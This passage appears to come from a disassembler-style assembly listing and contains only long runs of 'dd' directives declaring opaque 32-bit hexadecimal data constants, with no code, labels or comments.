		dd 12708E46h, 407B100Ah, 4B068700h, 8200F609h, 5078F846h
		dd 2666D20Ah, 74F80F15h, 25006746h, 0EC3C849h, 0FA284C78h
		dd 1400C008h, 0BA1751D9h, 0E7F3423Dh, 9612B050h, 0B8834D6Dh
		dd 58B3B04h, 0C04B089Dh, 0F827CE04h, 0C6227046h, 0CE0C2500h
		dd 49C50D80h, 0CDDA1F51h, 2AAC0E72h, 680C80FBh,	79B6186Eh
		dd 0FABB0003h, 0C92CA73Bh, 0B8982DA4h, 10327215h, 82413ACCh
		dd 0C6667F1Fh, 162481A3h, 0BE710E1Bh, 465C4984h, 47F082DEh
		dd 5744C0CCh, 0DE3D00FDh, 29FD2EBh, 0D1F03C0Ah,	960C6402h
		dd 804D4BACh, 27397ED0h, 145B0ED5h, 0F1067B32h,	711889B3h
		dd 89C00FE4h, 3222F883h, 2FF8C57Bh, 9D3B3860h, 70D48E80h
		dd 990924E7h, 0EA8F04D4h, 23E4107Fh, 7D86010Dh,	1888F847h
		dd 8E5E8873h, 0CBE07D4Bh, 790D7A42h, 0C2D00F1Eh, 84940AABh
		dd 58A1BD0Ch, 552488F8h, 3800B87Eh, 30905EA2h, 0A3AD01F6h
		dd 44162F77h, 88E84E3Bh, 101DC7C9h, 13BB9C2Ch, 2FDFF401h
		dd 226FF7F8h, 37A2F080h, 305F1B61h, 0B52068BAh,	0F4571560h
		dd 5048D813h, 4AA4103Dh, 483903A0h, 0E90040C4h,	0CC7EC615h
		dd 26B41AAh, 9BF61D68h,	0A4C08DA6h, 418242A3h, 0AC51FC44h
		dd 4460F972h, 0C3B41839h, 5DF494Ch, 57435900h, 0C7978516h
		dd 56F498h, 33441A83h, 0E13071D0h, 0DDE2C092h, 0CD6C5105h
		dd 0A4459F2Dh, 2888C872h, 501A2A0Ah, 47182484h,	0ED688024h
		dd 0F113B94Eh, 21F92B03h, 0B8C814FBh, 289E20E2h, 46F46929h
		dd 7D83120Eh, 0F4B0EC0Ah, 778B5D70h, 2AEA007Dh,	0CA35F3Fh
		dd 50BFA7D0h, 0A0385195h, 979B3840h, 8F422813h,	24046E4h
		dd 0F830CE17h, 17C43128h, 42CDFF30h, 43B400F6h,	0DE64713Dh
		dd 0EE2EB120h, 3702848Ah, 0C077413Fh, 82D82990h, 1BBCD420h
		dd 0B2B5E4h, 0B342F01h,	0C4B3B24Fh, 0A006C045h,	142151C7h
		dd 0D867E7DFh, 46849328h, 7D8D020Ch, 3120F894h,	354F1068h
		dd 6166007Dh, 0A470283Dh, 0DD09A2FFh, 823A2462h, 0A5BE3A4h
		dd 90530840h, 8B096C1Ch, 0E568820Ch, 0A149243Ch, 0E408A420h
		dd 0FD06FA03h, 1D939B82h, 0C70D1356h, 22BBCB2Bh, 20C4B627h
		dd 312D3F20h, 8F999BC3h, 0D5088375h, 249CC610h,	492493A8h
		dd 5297AA00h, 0D9C2C39Dh, 0E0C862ADh, 4C369284h, 4914444Fh
		dd 39022863h, 274287A3h, 6092E484h, 232ECE19h, 0CD1138F8h
		dd 0CE013A00h, 8E8D1DFFh, 2CA2B500h, 0B9C9B6BEh, 0C6E12E71h
		dd 0C2FF4200h, 117D8418h, 8898F879h, 8C5C8074h,	4F5A3B7Dh
		dd 0EA7CA600h, 3E871FBBh, 0AC3C266Dh, 0F720838h, 901AE409h
		dd 2A0DC6CCh, 84FF96h, 52BA812Fh, 295E6E58h, 0CD035C0Eh
		dd 65809F23h, 0EA3F706Bh, 3EDB0AB5h, 0A4D46EE1h, 1CFF08E4h
		dd 8CDE9360h, 224F4633h, 4AFC0042h, 0C1CCD2DEh,	5BEAAC8Eh
		dd 0A072309Ah, 9180C550h, 7464C18h, 1279E218h, 911A4C6h
		dd 0AA81ACF8h, 403E4FD4h, 0E41F65F8h, 12A41D0Bh, 5FE8A118h
		dd 0DA853568h, 0C86AACCFh, 0D8209068h, 43C305DDh, 0C044B64Ch
		dd 8D32BF00h, 39A7BD0Ch, 58E2074h, 0E4B4111h, 0EB2038ADh
		dd 80458121h, 180F7B1Ch, 0F318BC19h, 0A0A05373h, 29801A6Dh
		dd 34603855h, 7241B3DFh, 0CB12A092h, 0C0C98888h, 966E60E6h
		dd 0DAB1A000h, 0F971E90Dh, 0A4C200BCh, 94CA10A8h, 982E68BAh
		dd 8180C01Dh, 15B7FFE1h, 820500D3h, 0A72ED4F0h,	0C008AE2h
		dd 1CF9F6BBh, 78565BCh,	0B686B5ADh, 4A82C0B7h, 890066ABh
		dd 0A05F9D4Ch, 1E56AD3Fh, 40278F8Dh, 0C7862595h, 97004305h
		dd 2AE0E5A8h, 21522ACh,	0A27917A3h, 42D558D1h, 909660A5h
		dd 0BDDD0F61h, 40DE5948h, 4E0A8103h, 0A53C3F60h, 43180005h
		dd 39A0B267h, 11C63ECCh, 2B3E19D8h, 97FB01FCh, 30F34A4Dh
		dd 0F6608E2Eh, 0CF3100F5h, 0FBA629h, 9E7175ECh,	6DEDDE7Dh
		dd 19691700h, 0C2AC0D7h
		dd 0C1480C47h, 0D51860D1h, 340B1B00h, 95B86462h, 0BB2600C4h
		dd 0FDEF8E48h, 0A607EADCh, 6C6B9293h, 97D67970h, 3979C045h
		dd 2B9D37BFh, 84B09A16h, 99AE8900h, 3D26918h, 74280A1Ch
		dd 0F380C3E9h, 0F27E29ACh, 9356D700h, 99970DD5h, 9F7C8Eh
		dd 86090AE8h, 0F5736603h, 91485600h, 0BC2DD064h, 700400F6h
		dd 9DD67AADh, 9E018B02h, 72C878A7h, 0EDDC5AC3h,	10A601FEh
		dd 3DEB7FABh, 190AD0C6h, 54933800h, 0B9A571D4h,	79D5004Ch
		dd 83A28C8h, 700A1151h,	0B87AA910h, 0FD1B3800h,	870D04h
		dd 8B0EE095h, 0CAC0BE17h, 34144Dh, 0AF6B6A0Ch, 0F270606Ch
		dd 324016Eh, 494D2FD9h,	0A18CC446h, 6BD7200Eh, 943A0A51h
		dd 0E69CD600h, 0FD75F4h, 2DC013C8h, 301085CDh, 700AB87Eh
		dd 0C81456CCh, 8B06AA00h, 1B38844h, 0B54B3374h,	0F86AAB3Fh
		dd 2203CACEh, 9B3D1E21h, 0A115B8B0h, 60BB4DFEh,	0C7B64800h
		dd 0AD161335h, 93325500h, 9CB4EA28h, 0E25603C0h, 0B0746DFFh
		dd 9B81E398h, 5DD4ED00h, 46AC0811h, 0FFF43Dh, 4B35726Eh
		dd 5EB9349h, 0D58D3F00h, 2F4E350h, 0B1483F9Ah, 7C1FA180h
		dd 7B40603Bh, 5065F100h, 0E78F7ED1h, 0A8A0076h,	57705D8Bh
		dd 69039B73h, 6059AD3Eh, 8350E24Eh, 90ED1681h, 1CEA2941h
		dd 0CF64469Ch, 0FDE0C9B9h, 0C4666742h, 61E52A00h, 7893D67Fh
		dd 4DDA09ADh, 0E0A06238h, 0CCF0B2D2h, 0B5F4FF17h, 3BE42C10h
		dd 0EE79002Eh, 3E88245Dh, 181C00CCh, 71F8131Eh,	0B4A011C2h
		dd 2600AC25h, 0D712D81Ah, 3FF1E39Bh, 42807A32h,	0C5CDD93Fh
		dd 600331B2h, 0DFA36156h, 0D8C6F006h, 23FA000Fh, 0B8675D8Fh
		dd 211D97E4h, 0D0E8E129h, 0F41AA026h, 4BC79C87h, 6881C232h
		dd 0E62004h, 9BF9691Fh,	0B8C0FD1h, 0FDC0F407h, 66E02183h
		dd 3927C4DFh, 4204498Bh, 80AA54E0h, 0B6C0DAA9h,	5CEC87E6h
		dd 183AB04Ch, 32F0D584h, 46120020h, 74C60598h, 3907F6EEh
		dd 7530ABAEh, 1F4D8671h, 0D70840FAh, 8044504Ch,	306A70B5h
		dd 0CAECA119h, 0B9C03B60h, 0F34DC65Ch, 0A9EC81h, 4FEE2152h
		dd 0C4FE9817h, 6A093E00h, 0BBE9FF88h, 0B8CD09BEh, 0B1032771h
		dd 0D3E8A31Eh, 0B71FFE93h, 0D84F69B1h, 0E89820CEh, 3CFFA777h
		dd 38804DEAh, 41794E42h, 0B80048BFh, 0E8313565h, 483D9FA0h
		dd 3203E45Bh, 56685316h, 0A1BC5FA0h, 76582300h,	6EB754ACh
		dd 74C20CD9h, 3F2053CDh, 298DC503h, 0D0858FEEh,	5DA8EDh
		dd 177B364Eh, 84646327h, 0B4B52200h, 0EF0DA68h,	32E700AAh
		dd 437DF631h, 0EC03CA75h, 7C4C54BBh, 8568D0FCh,	48B07D48h
		dd 3A003890h, 4CBB1105h, 0C00CC52h, 0D5D6EA72h,	3EFDFBC6h
		dd 4786E74Dh, 0A8135FF4h, 3700F576h, 19EBF2C2h,	1527D8h
		dd 3DDB786Fh, 6EA04048h, 3CEC970Ah, 379078C2h, 0F0D5E400h
		dd 5AC0B2E8h, 1CC73900h, 0AA3D62B8h, 0E90300A2h, 954371E3h
		dd 0EF2C90D1h, 0F800163Ah, 8619FD7Bh, 94302448h, 5BA8094h
		dd 0A29AA3F4h, 7034284Dh, 80716B3Bh, 0C12CAF4Bh, 0E6583Ch
		dd 5FEF0E91h, 0B47875D1h, 1D5C1848h, 55C07CD0h,	9081B5B7h
		dd 98FCF651h, 79DBB004h, 44901Fh, 11CF8596h, 9BDE58E3h
		dd 2F0C50E4h, 20954ED0h, 0FE7700F5h, 41641DC7h,	6160B822h
		dd 0CFEC1E18h, 71592AEBh, 0D12601B4h, 3517C184h, 28017073h
		dd 53C07200h, 85166DD6h, 809960F3h, 4EFA10DBh, 3414EB00h
		dd 3AB492FEh, 57E307D5h, 0C0CF4F4Ah, 0FB038450h, 6A23A613h
		dd 5E95CB07h, 0A2703410h, 0CCA010Fh, 0F8EEE502h, 0D7C0F842h
		dd 8E713600h, 81F29A28h, 4E5F3CFCh, 0CBBF4F01h,	4367B272h
		dd 45A044F0h, 0E70001BAh, 66DF6F0Ah, 0B8611h, 8D72A503h
		dd 4204374Ah, 0F3D4F100h, 9E317EADh, 15790032h,	1F82050h
		dd 2600800Fh, 52E55783h, 4EAEA5h, 0D3A27BFCh, 0FBCB217Fh
		dd 0F1CA3900h, 126DA8FFh, 0E672009Dh, 52488FDDh, 0B524EFE0h
		dd 0C2004076h, 0F26E7C25h, 2F441B16h, 98D2A888h, 634A37E0h
		dd 0EB006875h, 3A15DFECh, 0EC203356h, 0EC60014h, 43986BA7h
		dd 0AD004941h, 2AA46FAEh, 0DB471Dh, 0FC44B8C2h,	17B9680Dh
		dd 7300227Dh, 9985CEB2h, 599E2ED5h, 0F02D890h, 3923A5C5h
		dd 0D19290E0h, 4774AE24h, 80E7600Fh, 45E824ABh,	0C6B8003Eh
		dd 0FD36F9BEh, 8C00784Ch, 0CB4F6F7Dh, 0A99030h,	0D39D2DD9h
		dd 0E958873h, 4C259116h, 0E9EB0900h, 755F95Bh, 70031418h
		dd 0E529C035h, 0DE006B87h, 0B8C5DAC7h, 390A47Dh, 880C76B6h
		dd 0F0989745h, 6E00A219h, 46ED2199h, 0E3B892h, 0C47F4759h
		dd 0B089F9DEh, 5BBE5E02h, 5AE80D78h, 34680244h,	0CF21C613h
		dd 8257C80h, 4100B80Ah,	0ED976073h, 3F7AC13Fh, 5705CC09h
		dd 8C64D1A0h, 0BD016B44h, 9A89FB3Fh, 60FA2017h,	568F8BCh
		dd 9CF7FF2Fh, 24380BE1h, 0B0FAB0C8h, 0F8332F0Eh, 81098E48h
		dd 60D98D92h, 0AA2D21B8h, 2B623820h, 646118C1h,	0A430C08h
		dd 0FE1DE4h, 50B57426h,	1167CB07h, 47147603h, 0D8D9104Bh
		dd 3C437E49h, 0C00194B1h, 76F52E09h, 8CCBE804h,	8EF868CFh
		dd 0C19BA450h, 181A78B4h, 214F0D43h, 8A035078h,	1F357D5Ah
		dd 0FB33987Bh, 0FE64A098h, 1A103C7Ch, 92475007h, 0A1704C51h
		dd 9351AF60h, 7568752Dh, 0A8551E3Ch, 0CDF00E8h,	7647ED14h
		dd 99292200h, 416D7FADh, 0D03D0077h, 3253058Eh,	6098507Ch
		dd 6288D600h, 0B431DF79h, 7D6300FEh, 11A5E6E7h,	664887F7h
		dd 88A00169h, 0D6AB35E8h, 0FECA5FE0h, 33890032h, 0D38BC825h
		dd 0C4009C76h, 0A29EA77Eh, 0F9B2BB3h, 8903E30Dh, 541980BEh
		dd 74EC876Fh, 4AAF0800h, 0DF1C383Ah, 36B23C89h,	82683C87h
		dd 593D40E0h, 21700EF7h, 0BBC2BA00h, 0CBC56CD9h, 20F30097h
		dd 738E080Bh, 1D071095h, 98216189h, 0A1818C7Ah,	0B6586044h
		dd 3D2266C4h, 4781B390h, 5C8B6903h, 596CC817h, 0BC0F867Fh
		dd 4015A754h, 0B29A35Bh, 2BA90005h, 22C001FDh, 0AD121A0Dh
		dd 0D0011032h, 666E785h, 0BBCB602Ch, 1CF18A00h,	0BE3C1BC1h
		dd 5D3B806Fh, 94D039D2h, 0ACE90052h, 0AEE559B0h, 0FB013882h
		dd 127665A0h, 8E200687h, 183900CFh, 888B03A7h, 0DF3BD427h
		dd 688600F8h, 0A12351ACh, 0E1F2032Eh, 0CD1F3B34h, 2794C8D0h
		dd 0ADE57400h, 8E9A7D02h, 0A0A75D30h, 77774148h, 7F542C31h
		dd 48829664h, 46009A48h, 5D1BC41Ah, 0C86A5CE2h,	71A111h
		dd 0FF67C785h, 781628F8h, 0A4040156h, 51AC831h,	6041C5E6h
		dd 1900DD48h, 28C28D57h, 49814DDEh, 4A7DAC0Dh, 68B060B2h
		dd 40008914h, 0CBD15469h, 0FF50B751h, 2D29E8DBh, 7F73DBh
		dd 70AF5B3h, 744E04D4h,	0F0B66E00h, 0FF2CD9BEh,	7F79005Ch
		dd 72686CE5h, 83B8984h,	2415A5D1h, 0A446C4h, 5AEF0769h
		dd 9FC847h, 0F3F99A98h,	80A6153Dh, 8BFC94A1h, 0FC393FCEh
		dd 784100EDh, 0B059E637h, 0F873CBC1h, 0F9145400h, 5D520622h
		dd 8B48006Ah, 0C3DA6158h, 404C9C0h, 0AD2B73BDh,	83401A80h
		dd 0D6781DD1h, 3EAC9Dh,	3B4C0BEh, 55123CF7h, 0EC40FDDAh
		dd 2E0E8B39h, 23C4A026h, 4D513009h, 172AA6E9h, 2483280Eh
		dd 0E5D58047h, 0E8A22654h, 0EDD60244h, 0B4E746A7h, 0FA01F8C0h
		dd 7A1B533Fh, 0FF75E800h, 3411FB1h, 150EEC8h, 0DA636D06h
		dd 0E4AFAA2Eh, 0A500BFD2h, 29E8054Fh, 2868A4D3h, 0A48C71h
		dd 16E4C783h, 0CE11D23Dh, 82C8E23Bh, 0D54DDAFDh, 0A1ECA754h
		dd 7C203DF1h, 0E9303425h
		dd 0F2231EF6h, 98854182h, 30EBED89h, 800CA44h, 449D6A73h
		dd 21BF770h, 55C89B0Ah,	5CE0E799h, 283809D7h, 87B68466h
		dd 4CB1B1D8h, 7CAABC0h,	0B556152Eh, 76A50022h, 0D05F081h
		dd 4CC0A157h, 311B80D0h, 954D0006h, 34E2E88Ah, 0FB001DEAh
		dd 36CAB2C0h, 0FE120259h, 0A0C43E35h, 0DBEF3D7Fh, 0CDBF7501h
		dd 30A2E7B8h, 7200112Dh, 464BA832h, 165C2E95h, 0A48780h
		dd 0B0BE3B05h, 2600914Fh, 0B7278F71h, 21CA63Dh,	0A74C8101h
		dd 90E641A0h, 0A9213101h, 7CDDEB58h, 94AC1D60h,	0B3F8000Ch
		dd 21B64A30h, 91AAA407h, 0FE1A7F2h, 24E8F453h, 5AEC0BF7h
		dd 0B080FAC0h, 9CD96887h, 0EEAECF00h, 0D3C3ACFDh, 90BBE05Dh
		dd 32AB3EDCh, 0C818A28Bh, 5385A900h, 0C600B991h, 0A9418178h
		dd 70827h, 0DAA14C37h, 0C5EAF282h, 0AC84F509h, 0B564600Fh
		dd 6B5F0075h, 1930D6E8h, 0DB1DB8CEh, 8687A8DEh,	77F04B41h
		dd 9951BDh, 0F8E1B435h,	18C2142Ah, 9C214839h, 0F300C5D9h
		dd 5D88AB8Eh, 0BF1F00A2h, 0A04368A6h, 0E00CC8Dh, 15D1772Ch
		dd 1B18A5Fh, 0B6B5E372h, 0FC4885EAh, 0AB050811h, 0D5B9404Fh
		dd 0DA06BCC0h, 3E92A2Bh, 334500F4h, 7E11B3C7h, 0E20028FCh
		dd 848A421Eh, 9D3496Bh,	93CCCDBDh, 0B9AA2000h, 4B011265h
		dd 0FC71DC56h, 582009E7h, 51C8EF7Ch, 868A06ABh,	182853C8h
		dd 0A617A100h, 7EA026B0h, 0D77800E9h, 0F70E398Eh, 916025A7h
		dd 0B17F9058h, 9E6524CFh, 87929240h, 2D6920C0h,	0B2F00732h
		dd 81A2253Ah, 67D60BC8h, 0C02B4DBDh, 684440D9h,	0D0505F00h
		dd 94D3ED93h, 0A27800CCh, 0DB41ABFh, 0E318908Eh, 60E8E74Dh
		dd 75AB00BCh, 24F67AACh, 0A004B8Fh, 0CADAE66h, 67FB5Fh
		dd 8D725E62h, 0EDC2C597h, 0CC3DCA00h, 0B589117Bh, 558A00EBh
		dd 0E977D642h, 2700A06Ch, 3249B0F5h, 89B382h, 39BA34CFh
		dd 6675BC95h, 0AF2FC70Bh, 0A14000B1h, 190F9F1h,	3DF03ECFh
		dd 6855C0BCh, 0B75D0098h, 8248BA13h, 0EC5200E8h, 5859BC03h
		dd 860EA8AFh, 20122C83h, 64A27C1Eh, 0B2EC0047h,	76C01BDDh
		dd 0A7F0C32Fh, 78092678h, 0DE1266h, 415EFCC8h, 9CA39856h
		dd 3D00934h, 89E25010h,	3A7D5700h, 0A5E7248Bh, 0B77C1D38h
		dd 0DAED8245h, 8E40EC29h, 0C005321h, 0FD503FBAh, 0FA2B086Ah
		dd 7823000Ah, 2DDDEA5h,	7A040328h, 77619F26h, 8CF70880h
		dd 9E790090h, 0CCDB2E7Fh, 1E03CE22h, 3B01EEF9h,	256588B3h
		dd 960E00D2h, 623E8B9Ch, 7760FBC7h, 0BF350248h,	115205F7h
		dd 0C8B57A14h, 4900A8FCh, 89690618h, 0B0E6E3B3h, 1C400ACh
		dd 0ABAD4AA4h, 8B4DAE42h, 55700020h, 964C6B81h,	2ABF004Fh
		dd 0B1FEE13h, 82048D4Bh, 2F6314FFh, 43644080h, 6490F0C1h
		dd 423110Ah, 2B4F3FC0h,	4F430B02h, 2877FC40h, 0B4F98A00h
		dd 0BBC33E5Dh, 33820187h, 0A8FE34D8h, 0F15C2810h, 0D812CB94h
		dd 12338738h, 90B71CC1h, 9CA0BB4Ch, 1A06DC92h, 0C6475051h
		dd 0F8402E38h, 0D0CF1793h, 0AFBC1E90h, 18B86260h, 7CF0C7C4h
		dd 48D002A3h, 46853C49h, 0F8230EE0h, 961B416h, 4642B809h
		dd 22520168h, 0B42BE31Dh, 0C0A4D1A3h, 0B7489906h, 0E8F000F1h
		dd 6DFEC4A6h, 13E489h, 9E1F726Fh, 0D7D851B7h, 0DCA3811Ch
		dd 59E4D0C7h, 0DDFFEC53h, 721EEB00h, 4F5D2Ah, 1FABC473h
		dd 0A08410DEh, 6AFEAA00h, 0EC9B8CEAh, 87FB009Dh, 2C2158B0h
		dd 3FFA0C9Fh, 0FCF7800h, 91466251h, 0F6AB3B76h,	0A94810Bh
		dd 0AADFA820h, 2F00A5BDh, 23C26EE0h, 0F61698h, 0BB9787A8h
		dd 3AD45C5h, 9C63D00h, 61CF3C05h, 97B4A012h, 0E147835h
		dd 20D46E22h, 681CA900h, 95006A48h, 0A6B61A8h, 0E819BCAAh
		dd 0D07A4EC5h, 698D9AE0h, 0B8334100h, 0FA92E4E3h, 56F001Ch
		dd 0A427C91Ah, 8600618Dh, 0E50D7618h, 9F828A9h,	99984954h
		dd 300E87Ah, 0B16D4C3Fh, 259DC2BDh, 1848BC72h, 0C9F03723h
		dd 0C3110663h, 2A39004Ah, 0BD04224h, 0ED010458h, 67688877h
		dd 2B20BA39h, 2074CCCh,	188FC600h, 4980628Eh, 8C96907Ch
		dd 911C003Eh, 1447DE6Dh, 4D907C4h, 40D7D6DDh, 0F7C3BE4Eh
		dd 7A599800h, 1F123AD1h, 0AD08CCA9h, 0B0005E21h, 66ED0297h
		dd 1ECE9127h, 69DC22h, 0FA1192E7h, 56F05C61h, 0F5578400h
		dd 63DA21A5h, 3218C6D6h, 255048DDh, 0B40756A7h,	0B5EB7EF8h
		dd 0F4FC7490h, 0A369C0A5h, 0AAF7DAE7h, 75BD38C1h, 50805A80h
		dd 68A1CD5Eh, 34004BB6h, 0C443A0AAh, 0C31FE2D0h, 0EF660438h
		dd 814E0800h, 0FF7E6A93h, 182B0078h, 0D9244B68h, 0B531B737h
		dd 585CA85Ah, 0BEE5F600h, 0E60EA000h, 8F7EF919h, 507680h
		dd 34ED975Fh, 0D44623A3h, 2AE39A00h, 8AB64EABh,	0FB0B00D3h
		dd 0F2AFBB79h, 6100157Dh, 6417EA06h, 0E3733224h, 704DF0D7h
		dd 163518FFh, 617E082Dh, 0FBDD20C1h, 0A07E0B63h, 8008A59h
		dd 9331F383h, 0C9E8F64h, 854727E6h, 0E943E158h,	9288023Ah
		dd 80C4E84Eh, 640ADC40h, 0E19D4339h, 6600F75h, 659630A3h
		dd 0F2839320h, 37D569C0h, 0B112D1h, 1104B535h, 0A3674571h
		dd 4E947201h, 8436627Eh, 643800EBh, 5C606BDCh, 9F5CD37Fh
		dd 0A4430082h, 5338CC6Ah, 91C50781h, 43C2FB83h,	0AFD01B94h
		dd 6A370924h, 0E6604035h, 1FD79B46h, 0C713676h,	0BD1892A1h
		dd 0C96F841Ch, 6D2E48C0h, 7B92728h, 0B6BA41B0h,	643B03Dh
		dd 6A7FBB23h, 3944C9C0h, 6E48467h, 0EB16D2E7h, 476F08DFh
		dd 6710E021h, 0F5A8F3h,	818F5B68h, 3C82166Ch, 0C80A35F4h
		dd 9CCD8D48h, 0B157B8B1h, 0C06391BCh, 0B9782358h, 5309251Fh
		dd 9C5CD0C5h, 0C6466800h, 0CC56E055h, 0BF0C141h, 0B04A9131h
		dd 0EC0C6B62h, 0E43B6608h, 5C4CC4DFh, 0EE6753C0h, 0CDA305Bh
		dd 0ACEB166h, 80E1E969h, 39A13389h, 780B116Bh, 15BD887Bh
		dd 5F0040B0h, 2EEE7A19h, 0C056998Dh, 57B00421h,	6507CA76h
		dd 0F6A36D77h, 8050887Eh, 4C589816h, 1B52A749h,	22E51A80h
		dd 98724021h, 9FA404A0h, 82247A1Bh, 244A0328h, 0B3117417h
		dd 0BE7D029Dh, 0F7E0B64Ah, 78636E57h, 89BCAB21h, 0EF401DA9h
		dd 2E80897h, 5871E170h,	50866F8Ch, 49F08131h, 4852D4A6h
		dd 30B6E248h, 8301AFFFh, 6A3315F4h, 0AC20D05Eh,	0B06D30A1h
		dd 9800329h, 0DFCEC601h, 7DA0FBE1h, 1D14E4C8h, 1725BBDh
		dd 6E811C7Ch, 7AF1CC9Fh, 0D004F201h, 1BC732C0h,	30B1CC52h
		dd 2115894h, 218885CAh,	57B8B281h, 1AE06B7Ah, 0DD530B1h
		dd 7712A3E9h, 721D99DFh, 0F4220C28h, 4F8322B2h,	0BDB9590Fh
		dd 13EBE07Fh, 84703Fh, 602F0C4Eh, 277B0993h, 83D241C0h
		dd 6893AAEh, 0B11F4DFFh, 0FD4908D6h, 8BCB0F8Ch,	0AFE7C0AEh
		dd 0C21803Eh, 4F789FC7h, 0C2420EE8h, 0B9008623h, 0CDCA7357h
		dd 50808676h, 580560E3h, 6E5979D6h, 0EC55B820h,	97DE00B8h
		dd 63B3E910h, 7800612Eh, 3D129D07h, 9569435h, 19EBE450h
		dd 0C211949Dh, 8B59EC81h, 9299FC29h, 4154A00h, 9A7F6B75h
		dd 0B3D0544h, 32C9B101h, 0BC1B15BCh, 8534C23h, 304FA2BCh
		dd 9F1889F0h, 68596C13h, 0A314848Ch, 11387A97h,	50934D5h
		dd 9F06A150h, 8087D1EAh, 25636544h, 81D42FB0h, 6AEAB418h
		dd 8221D0F8h, 74004866h, 362B3F75h, 0C0AF6E4Dh,	5FB94291h
		dd 46909FD9h, 0AD224B00h, 7B40F64Eh, 30A9D461h,	3A017423h
		dd 0D788FDAEh, 0F288A618h, 2409082h, 0EFB8D05Ah, 0A8B0832Eh
		dd 0C0857BAh, 6476F5CAh
		dd 61E4403Dh, 2E023F58h, 39960AE2h, 0B8843E14h,	984D3C80h
		dd 9700BBEDh, 29AE94C0h, 4D230333h, 0B801861h, 17E43E67h
		dd 2BC0D642h, 0C1A166E2h, 880B9601h, 4FE95BD1h,	9CB8AC50h
		dd 60C300B3h, 551F80D4h, 7E50509Ah, 0EA430FD0h,	0B360EB70h
		dd 0C010B918h, 7D6408DAh, 0D11B7600h, 71B28445h, 0E994A8A5h
		dd 4449C06Eh, 0F3B8AFE0h, 3EF50507h, 6C4FDA4Bh,	1893216Bh
		dd 39A36A01h, 5F39FF16h, 2D448068h, 0CC411015h,	0AB5D098Eh
		dd 5097EDCBh, 4E814F91h, 80C5E999h, 29A82FB9h, 789AE2BAh
		dd 0B76C005Eh, 0C68C36DEh, 0FA1ABB12h, 8F4155A9h, 0C29E9198h
		dd 0DDCA0158h, 102CF0B1h, 257BBB1h, 357299ECh, 0C8C06B37h
		dd 0A20BE37Eh, 823956A3h, 0C4FBE43Ch, 1CB2220Ch, 7C0C330Bh
		dd 11D49D17h, 253C807Bh, 0F2B64CABh, 0B7C2CB2h,	790450CCh
		dd 0DE697B0Eh, 0B8D88AB2h, 0F20F2080h, 1452EAAh, 12C9C662h
		dd 0C0BE53F0h, 0D5FA9878h, 20D60B01h, 0C49049Dh, 0E9E2A088h
		dd 9363FF60h, 22D0464Eh, 7C100C7h, 54333064h, 0D00F6C05h
		dd 2990FEF3h, 8AA0047Ch, 0FF57BD60h, 0E86DC929h, 4065DFC2h
		dd 59C59Ah, 97C45330h, 3C4945A9h, 11736F01h, 0DA0B6D80h
		dd 0C724B052h, 60FA4420h, 2620F5C7h, 117016C2h,	0C0384866h
		dd 0F920EB6Fh, 2FB912C8h, 23143A54h, 0EDF0047h,	0F7859B4h
		dd 672F3B05h, 88ECD9h, 0AE15004Bh, 0F6D4A8F4h, 4E386F3Ah
		dd 0BB20B9EAh, 2F1B83CDh, 98EDA7AFh, 0C0C6E8F2h, 6A9E5339h
		dd 57070F77h, 0EEC76EFBh, 0B4DEE05Eh, 3A11712Eh, 1205877Dh
		dd 0D48229C8h, 23C42FC8h, 17DA002Ch, 5D829BFBh,	6C309F2Eh
		dd 71F463Eh, 0F7E4C867h, 374049C4h, 0C443670Eh,	0DC53B326h
		dd 6F84C060h, 0BEDD005Ah, 3CEF060Ch, 8A12E4E2h,	40044056h
		dd 7633EA05h, 84DBEA8h,	0D8DF448Ch, 88E0FE4Eh, 341D07A1h
		dd 49D78E13h, 0D120C406h, 0BA6F88A6h, 654F40CAh, 78B33FCh
		dd 8E603270h, 66F11087h, 0AE5C5D4Ah, 0BCF85C30h, 72128C4Ah
		dd 4C044B5Ah, 2B377AFEh, 87885C82h, 0E8126CE7h,	0F52400EEh
		dd 7980B396h, 0E3109C02h, 61BF1E20h, 0AF18888Ch, 0CA755704h
		dd 483276BDh, 58971520h, 1ED40388h, 4AF25477h, 68C45B90h
		dd 0A5B71600h, 226715DDh, 0E7140A1Bh, 11BC91C2h, 0A2748E53h
		dd 31384DB0h, 0FC5610CAh, 0DA650263h, 3691C301h, 870074C6h
		dd 0B5198B80h, 642B79Dh, 68828535h, 5490A823h, 24F9D76Fh
		dd 0DEC00A70h, 0EFA43Ah, 0F9FC32A6h, 9BC6E2CDh,	10A3340Ah
		dd 0FD11A80Bh, 0FEAE3F80h, 448C9F88h, 8700E7F0h, 3EE20FAEh
		dd 183A072Eh, 0A15883A8h, 0BA0360E5h, 0F5F4ED9Ch, 5DE8D003h
		dd 487DF68Dh, 48E87458h, 9E3A028Ch, 5AAEDDF7h, 148605Fh
		dd 0BDEF03DAh, 456C1E2Bh, 6394ACD9h, 30CCA2C4h,	67063887h
		dd 6B4DA320h, 0CD530379h, 5EA99471h, 876EEEE1h,	309BE419h
		dd 0B234A1C1h, 7CCD3EC4h, 0D0EE52DEh, 0A4099C15h, 737F0600h
		dd 69117DFBh, 45347C03h, 0AAE28D67h, 20B86074h,	87570793h
		dd 0C6A75B0h, 0DA00B539h, 0C2CCCF8Dh, 0B4B73BC6h, 319B0035h
		dd 33407C1Ah, 0C2901774h, 0F689607h, 0B1E0E636h, 1BF740Bh
		dd 0A8176104h, 801AA732h, 0A6B20F79h, 819F64h, 0A821DD9Dh
		dd 0B11563F1h, 22A46800h, 0AED00575h, 5D73054Ah, 0C8ECD3E6h
		dd 1200A144h, 3C51C701h, 774E1Dh, 20DB4F0Dh, 0B50E75ECh
		dd 0B2580414h, 0E62180BCh, 0D68E94h, 0CB71110Bh, 95A749F4h
		dd 0AA1B21C0h, 58989F82h, 4E8A10B1h, 3600BFA0h,	0F2CABFFFh
		dd 9D14566Fh, 2680228Eh, 9443F024h, 40CAD47Ch, 29790079h
		dd 5BD63360h, 0E2EC5E4Ah, 0D05D8403h, 9919A9E7h, 0A460A3AAh
		dd 0EA702C7Ch, 53BC40B4h, 0C6000641h, 374A6895h, 39C29919h
		dd 188E9E1Ch, 0A469E6B5h, 0CA22CC66h, 83940B31h, 1C93D7B2h
		dd 0A5A930F0h, 760F1074h, 445D9B58h, 0A344FFDBh, 1A808899h
		dd 0A138D91Ch, 4525F640h, 1959AB11h, 0A80E7C9Dh, 0B5C842B9h
		dd 5B17E480h, 0F701D5BBh, 8462E120h, 382382D0h,	12792100h
		dd 4FB44D99h, 16723600h, 0AF3A9DF6h, 2AA4723Dh,	0C45CB288h
		dd 889C6960h, 9F00953Ch, 0A0F506F3h, 1396C458h,	2769FC26h
